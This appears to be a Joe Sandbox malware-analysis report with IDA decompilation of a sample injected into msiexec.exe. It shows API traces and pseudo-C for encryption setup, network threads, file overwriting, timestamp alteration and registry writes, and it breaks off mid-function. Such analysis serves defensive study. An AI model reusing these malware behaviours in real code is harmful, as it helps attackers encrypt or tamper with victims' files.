Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014A90, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014AB5
GetProcAddress.KERNEL32 ref: 0000000100014B17

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

USER32, xrefs: 0000000100014AE3

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100011354, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011379
GetProcAddress.KERNEL32 ref: 00000001000113DB

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SHELL32, xrefs: 00000001000113A7

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013F14, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013F41
GetProcAddress.KERNEL32 ref: 0000000100013F98

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SFC, xrefs: 0000000100013F6F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100012E48, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100012E6D
GetProcAddress.KERNEL32 ref: 0000000100012ECF

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

USERENV, xrefs: 0000000100012E9B

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100015614, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100015639
GetProcAddress.KERNEL32 ref: 000000010001569B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

APPHELP, xrefs: 0000000100015667

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100013C14, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100013C39
GetProcAddress.KERNEL32 ref: 0000000100013C9B

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

WTSAPI32, xrefs: 0000000100013C67

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100014924, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014949
GetProcAddress.KERNEL32 ref: 00000001000149AB

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SXS, xrefs: 0000000100014977

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100011F80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011FA5
GetProcAddress.KERNEL32 ref: 0000000100012007

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

MSPATCHA, xrefs: 0000000100011FD3

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000145EC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100014611
GetProcAddress.KERNEL32 ref: 0000000100014673

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

WINTRUST, xrefs: 000000010001463F

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 00000001000127AC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000127D9
GetProcAddress.KERNEL32 ref: 0000000100012830

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

KERNEL32, xrefs: 0000000100012807

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100011408, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44librarysleep

APIs

Sleep.KERNEL32 ref: 0000000100011435
GetProcAddress.KERNEL32 ref: 000000010001148C

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Strings

SHELL32, xrefs: 0000000100011463

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100016A28, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34sleep

APIs

Sleep.KERNEL32 ref: 0000000100016A4A
FreeLibrary.KERNEL32 ref: 0000000100016A95

Strings

Zw, xrefs: 0000000100016A95

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100007688, Relevance: 5.1, APIs: 4, Instructions: 84string

APIs

lstrlenW.KERNEL32 ref: 0000000100007707
lstrlenW.KERNEL32 ref: 0000000100007712
GlobalAlloc.KERNEL32 ref: 0000000100007729
GlobalFree.KERNEL32 ref: 0000000100007749

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Analysis Process: msiexec.exe PID: 2016 Parent PID: 100

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.8%
Total number of Nodes:	160
Total number of Limit Nodes:	27

Executed Functions

Function 00198FD0, Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 219
threadnetwork

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 0019901D
CreateThread.KERNEL32 ref: 001991E8
WSAStartup.WS2_32 ref: 0019929C
CreateThread.KERNEL32 ref: 001992E8

Strings

02QE, xrefs: 00199285
~, xrefs: 001990EB
C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 001990F2, 001991B2, 001991FC, 0019931F
"J, xrefs: 00199032
\\?\C:\Users\user\Desktop, xrefs: 00199128, 0019932B

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018A9D0, Relevance: 13.9, APIs: 9, Instructions: 381
filetime

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNELBASE ref: 0018AA62
SetFilePointerEx.KERNEL32 ref: 0018ABD8
ReadFile.KERNEL32 ref: 0018AC01
SetFileAttributesW.KERNELBASE ref: 0018AC43
CreateFileMappingW.KERNEL32 ref: 0018ACB6
MapViewOfFile.KERNEL32 ref: 0018ADB7
SetFilePointerEx.KERNEL32 ref: 0018AF37
WriteFile.KERNEL32 ref: 0018AF6B
SetFileTime.KERNELBASE ref: 0018B004

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00199780, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96
encryptionthread

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 001997DA
CreateThread.KERNEL32 ref: 00199883
WaitForMultipleObjects.KERNEL32 ref: 001998BA

Strings

@, xrefs: 001997C7

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00198D80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00198D80(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v20;
				void* _v28;
				void* _v592;
				void* _v620;
				intOrPtr _v624;
				void* _v636;
				void* _v1138;
				short _v1140;
				void* _v1152;
				void* _v1164;
				void* _v1654;
				short _v1656;
				void* _v1668;
				void* _v1680;
				char _v1688;
				signed int _v1692;
				void* _v1696;
				intOrPtr _v1704;
				long long _v1708;
				long long _v1724;
				intOrPtr _v1740;
				void* _t88;

				_a16 = __rdx;
				_a8 = __rcx;
				_v1704 = 0;
				_v1656 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t88 = __edi + 0x208;
				if(( *(0x1a3770 +  &_v1654 * 0) & 0x0000ffff) != 0) {
					r8d = 0xffffffff;
					 *0x00190CE0();
					 *0xFFFFFFFF875E4C32();
					_v1692 = 0x190c00;
					if(( *(0x1a3560 + _v1692 * 2 - 2) & 0x0000ffff) != 0x5c) {
						 *0x00190D00();
					}
				} else {
					r8d = 0xffffffff;
					 *((long long*)(0x190ce0))();
					 *0xFFFFFFFFAE80D3B9();
					_v1708 = 0x190bc0;
					if(_v1708 != 0) {
						 *((short*)(_v1708 + 2)) = 0;
					}
				}
				_v1140 = 0;
				memset(_t88, 0, 0x208 << 0);
				E0018B3B0(E0018B3E0( &_v1688, 0x19e128), 0x19e128);
				_v1696 = 0x190d10;
				E0018B3C0( *_v1696(),  &_v1688);
				_v624 = 0;
				memset(_t88 + 0x208, 0, 0x24c << 0);
				FindFirstFileW(??, ??); // executed
				_v1724 =  *0x0018298A - 0x6c9861f5;
				if(_v1724 != 0xffffffff) {
					 *((long long*)(0x190d00))();
					_v1740 =  *0x001986B0();
					 *((long long*)( *0x00181530 + 0x204406))();
				}
				return _v1740;
			}

0x00198d80
0x00198d85
0x00198d92
0x00198d9c
0x00198db0
0x00198db0
0x00198dc8
0x00198e2a
0x00198e3c
0x00198e52
0x00198e54
0x00198e6d
0x00198e8f
0x00198e8f
0x00198dca
0x00198dd7
0x00198de9
0x00198e01
0x00198e03
0x00198e0e
0x00198e17
0x00198e17
0x00198e1b
0x00198e93
0x00198ead
0x00198ecc
0x00198edf
0x00198f05
0x00198f0a
0x00198f27
0x00198f46
0x00198f48
0x00198f53
0x00198f76
0x00198f9c
0x00198fb2
0x00198fb2
0x00198fc0

APIs

FindFirstFileW.KERNELBASE ref: 00198F46

Strings

C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 00198DDD, 00198E4B, 00198E59

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018E7F0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
encryption

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0018E7F0(long long __rbx, long long _a8) {
				intOrPtr _v24;
				long long _t24;

				if( *0x461b4a20 == 0) {
					r9d = 1;
					_a8 = __rbx;
					r8d = 0;
					_v24 = 0xf0000040;
					 *((long long*)( *0x00183B13 - 0x78f5ec4d))();
					_t24 =  *0x1a3520; // 0x294cb0
					_t25 =  ==  ? __rbx : _t24;
					 *0x1a3520 =  ==  ? __rbx : _t24;
					 *((long long*)( *0x0018141A - 0x76edd5e1))();
					 *((long long*)( *0x001859BA + 0x368c01))();
					return 0 |  *0x001A3520 != __rbx;
				} else {
					return 1;
				}
			}

0x0018e808
0x0018e81c
0x0018e828
0x0018e82d
0x0018e830
0x0018e83d
0x0018e83f
0x0018e84a
0x0018e84e
0x0018e863
0x0018e875
0x0018e889
0x0018e80a
0x0018e814
0x0018e814

APIs

CryptAcquireContextA.ADVAPI32 ref: 0018E83D

Strings

@, xrefs: 0018E830

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 001993B0, Relevance: 3.2, APIs: 2, Instructions: 170file

APIs

CreateFileA.KERNEL32 ref: 00199457
WriteFile.KERNEL32 ref: 00199475

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018E9F0, Relevance: 3.1, APIs: 2, Instructions: 95thread

APIs

GetNativeSystemInfo.KERNEL32 ref: 0018EA4C
CreateThread.KERNEL32 ref: 0018EB34

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F750, Relevance: 1.6, APIs: 1, Instructions: 57

APIs

FindFirstFileW.KERNELBASE ref: 0018F773

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00192DC0, Relevance: 7.8, APIs: 5, Instructions: 296
registrytimefile

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00192DC0(void* __edi, void* __esp, void* __eflags, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				intOrPtr _v16;
				void* _v48;
				long long _v68;
				char _v76;
				long long _v84;
				char _v92;
				char _v96;
				long long _v100;
				void* _v104;
				char _v112;
				long long _v120;
				void* _v128;
				long long _v152;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed short _v190;
				signed short _v192;
				signed short _v194;
				signed short _v196;
				signed short _v198;
				signed short _v202;
				signed short _v204;
				char _v208;
				long long _v212;
				void* _v216;
				long long _v220;
				long long _v224;
				intOrPtr _v228;
				long long _v232;
				long long _v236;
				long _v240;
				void* _v244;
				long long _v248;
				intOrPtr _v252;
				long long _v256;
				void* _v260;
				long long _v264;
				long long _v272;
				signed int _v280;
				long long _v288;
				signed int _v292;
				intOrPtr _v296;
				signed int _v300;
				long long _v304;
				signed int _v308;
				signed int _v316;
				void* _t163;
				signed int _t178;
				long _t184;
				void* _t192;
				void* _t198;
				void* _t200;
				void* _t227;
				void* _t228;
				long long _t241;
				long long _t274;
				long long _t277;

				_a16 = __rdx;
				_a8 = __rcx;
				E0018B3B0(E0018B3E0( &_v112, 0x19d1d8), 0x19d1d8);
				_v120 = 0x190db0;
				_t241 = _v120;
				_t163 =  *_t241();
				_v224 = _t241;
				E0018B3C0(_t163,  &_v112);
				_v264 = 0;
				_v272 = 0;
				_v280 = 1;
				r9d = 0;
				r8d = 1;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_v192 =  *0x00182E8A + 0x69b0b;
				if(_v192 != 0xffffffff) {
					_v152 = 0;
					_v280 = 0;
					r8d =  *(_a8 + 0x30);
					WriteFile(??, ??, ??, ??, ??); // executed
					_v232 = 0;
					memset(__edi, 0, 4 << 0);
					_t227 = __edi + 4;
					 *((long long*)( *0x00181D43 + 0xe94d3))();
					_v220 = 0;
					memset(_t227, 0, 4 << 0);
					_t228 = _t227 + 4;
					_v228 = _v252;
					_v232 = _v256;
					_v232 = _v232 - 0x7f3d4000;
					_v252 = _v228;
					_v256 = _v232;
					SetFileTime(??, ??, ??, ??);
					 *((long long*)( *0x0018203A - 0x4ec641ef))();
					if( *((long long*)(_v16 + 0x60)) == 0) {
						_v128 =  *0x001814CA + 0x286cf0;
						 *_v128();
						if( *((long long*)(_v16 + 0x60)) == 0) {
							_v208 = 0;
							E0018B3B0(E0018B3E0( &_v112, 0x19dc60), 0x19dc60);
							_v120 =  *0x00183913 - 0x5997535b;
							_v272 = 0;
							_v280 =  &_v208;
							_v288 = 0;
							_v296 = 0x102;
							_v304 = 0;
							r9d = 0;
							r8d = 0;
							_t184 = RegCreateKeyExW(??, ??, ??, ??, ??, ??, ??, ??, ??); // executed
							_v240 = _t184;
							E0018B3C0(_t184,  &_v112);
							if(_v240 != 0) {
								E0018B3B0(E0018B3E0( &_v96, 0x19dc60), 0x19dc60);
								_v104 =  *((intOrPtr*)(0x183913)) - 0x5997535b;
								_v272 = 0;
								_v280 =  &_v208;
								_v288 = 0;
								_v296 = 0x102;
								_v304 = 0;
								r9d = 0;
								r8d = 0;
								_v240 =  *_v104();
								E0018B3C0(_t208,  &_v96);
							}
							if(_v240 == 0) {
								_v192 = 0;
								memset(_t228, 0, 0xe << 0);
								E0018B3B0(E0018B3E0( &_v92, 0x19dcd0), 0x19dcd0);
								_v100 = 0x190db0;
								_t274 = _v100;
								_t192 =  *_t274();
								_v236 = _t274;
								E0018B3C0(_t192,  &_v92);
								 *((long long*)( *0x00182B43 + 0x31a48c))();
								_v184 = _v190 & 0x0000ffff;
								_v180 = _v192 & 0x0000ffff;
								_v176 = _v194 & 0x0000ffff;
								r8d = _v198 & 0x0000ffff;
								_v172 = r8d;
								r9d = _v202 & 0x0000ffff;
								_v168 = r9d;
								r10d = _v204 & 0x0000ffff;
								_v164 = r10d;
								E0018B3B0(E0018B3E0( &_v76, 0x19dd00),  *0x00182B43 + 0x31a48c);
								_v84 = 0x190db0;
								_v292 = _v184;
								_v300 = _v180;
								_v308 = _v176;
								_v316 = _v196 & 0x0000ffff;
								r9d = _v172;
								r8d = _v168;
								_t277 = _v84;
								_t198 =  *_t277();
								_v212 = _t277;
								E0018B3C0(_t198,  &_v76);
								_t200 =  *0xFFFFFFFFAC5B08AC();
								_v68 =  *0x00183CA3 - 0x1985a9bc;
								_v308 = _t200 + 1;
								_v316 = _v236;
								r9d = 1;
								r8d = 0;
								RegSetValueExW(??, ??, ??, ??, ??, ??);
								 *((long long*)( *0x00183AC3 - 0x61b81266))();
								if(_v236 != 0) {
									 *0x0018FE30();
								}
								_v236 = 0;
								if(_v212 != 0) {
									 *((long long*)(0x18fe30))();
								}
								_v212 = 0;
							}
							 *0x4c6b129e();
							 *((long long*)(_v16 + 0x60)) = 0x190c30;
						}
						_v48 =  *0x00182433 - 0x19dad633;
						 *_v48();
					}
					if(_v248 != 0) {
						 *((long long*)(0x18fe30))();
					}
					_v248 = 0;
					_t178 = 1;
				} else {
					if(_v224 != 0) {
						 *((long long*)(0x18fe30))();
					}
					_v224 = 0;
					_t178 = 0;
				}
				return _t178;
			}

0x00192dc0
0x00192dc5
0x00192df2
0x00192e05
0x00192e24
0x00192e2c
0x00192e2e
0x00192e3b
0x00192e4d
0x00192e56
0x00192e5e
0x00192e66
0x00192e69
0x00192e79
0x00192e7b
0x00192e86
0x00192eb4
0x00192ecc
0x00192ee5
0x00192efa
0x00192efc
0x00192f13
0x00192f13
0x00192f27
0x00192f29
0x00192f40
0x00192f40
0x00192f46
0x00192f4e
0x00192f67
0x00192f70
0x00192f78
0x00192f9d
0x00192fb1
0x00192fc0
0x00192fe0
0x00192ff3
0x00193002
0x00193008
0x00193034
0x00193047
0x0019304f
0x00193060
0x00193065
0x0019306e
0x00193076
0x0019307e
0x00193081
0x00193096
0x00193098
0x001930a4
0x001930ae
0x001930d4
0x001930e7
0x001930ef
0x00193100
0x00193105
0x0019310e
0x00193116
0x0019311e
0x00193121
0x00193138
0x00193144
0x00193144
0x0019314e
0x00193156
0x00193170
0x00193192
0x001931a5
0x001931b5
0x001931bd
0x001931bf
0x001931cc
0x001931e6
0x001931f0
0x001931ff
0x0019320e
0x0019321d
0x00193226
0x0019322e
0x00193237
0x0019323f
0x00193248
0x00193271
0x00193284
0x00193293
0x0019329e
0x001932a9
0x001932ad
0x001932b8
0x001932c2
0x001932cf
0x001932d7
0x001932d9
0x001932e9
0x00193300
0x00193317
0x0019331f
0x00193328
0x0019332d
0x00193333
0x0019334e
0x00193365
0x0019336d
0x00193381
0x00193381
0x00193383
0x00193395
0x001933ac
0x001933ac
0x001933ae
0x001933ae
0x001933cc
0x001933d6
0x001933d6
0x001933f4
0x00193407
0x00193407
0x0019340f
0x00193423
0x00193423
0x00193425
0x0019342e
0x00192e88
0x00192e8e
0x00192ea2
0x00192ea2
0x00192ea4
0x00192ead
0x00192ead
0x0019343b

APIs

CreateFileW.KERNEL32 ref: 00192E79
WriteFile.KERNEL32 ref: 00192EFA
SetFileTime.KERNELBASE ref: 00192F9D
RegCreateKeyExW.ADVAPI32 ref: 00193096
RegSetValueExW.ADVAPI32 ref: 0019334E

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 001977F0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST ref: 00197810
OpenServiceW.SECHOST ref: 001979F0
CloseServiceHandle.SECHOST ref: 00197B63

Strings

UX#q, xrefs: 001978A8, 0019792B, 00197A18, 00197ADC, 00197B52

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00198310, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
sleep

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 0019832B
Sleep.KERNELBASE ref: 00198349
DeleteFileW.KERNELBASE ref: 0019834E

Strings

"J, xrefs: 00198336

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00190170, Relevance: 6.2, APIs: 4, Instructions: 233
network

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00190170(void* __rax, long long __rcx, long long __rdx, long long __r9) {
				signed int _t98;
				void* _t135;
				signed int _t137;
				long long* _t143;
				signed int _t147;
				void* _t148;
				long long* _t153;
				long long* _t155;
				signed int _t156;
				signed int _t187;
				void* _t197;
				signed int _t201;
				void* _t202;
				signed int _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t209;
				long long _t228;
				signed int _t229;
				void* _t231;
				signed int _t232;
				void* _t234;
				intOrPtr* _t235;
				void* _t237;
				intOrPtr* _t239;
				long long* _t242;

				_t135 = __rax;
				 *((long long*)(_t208 + 0x20)) = __r9;
				 *((intOrPtr*)(_t208 + 0x18)) = r8w;
				 *((long long*)(_t208 + 0x10)) = __rdx;
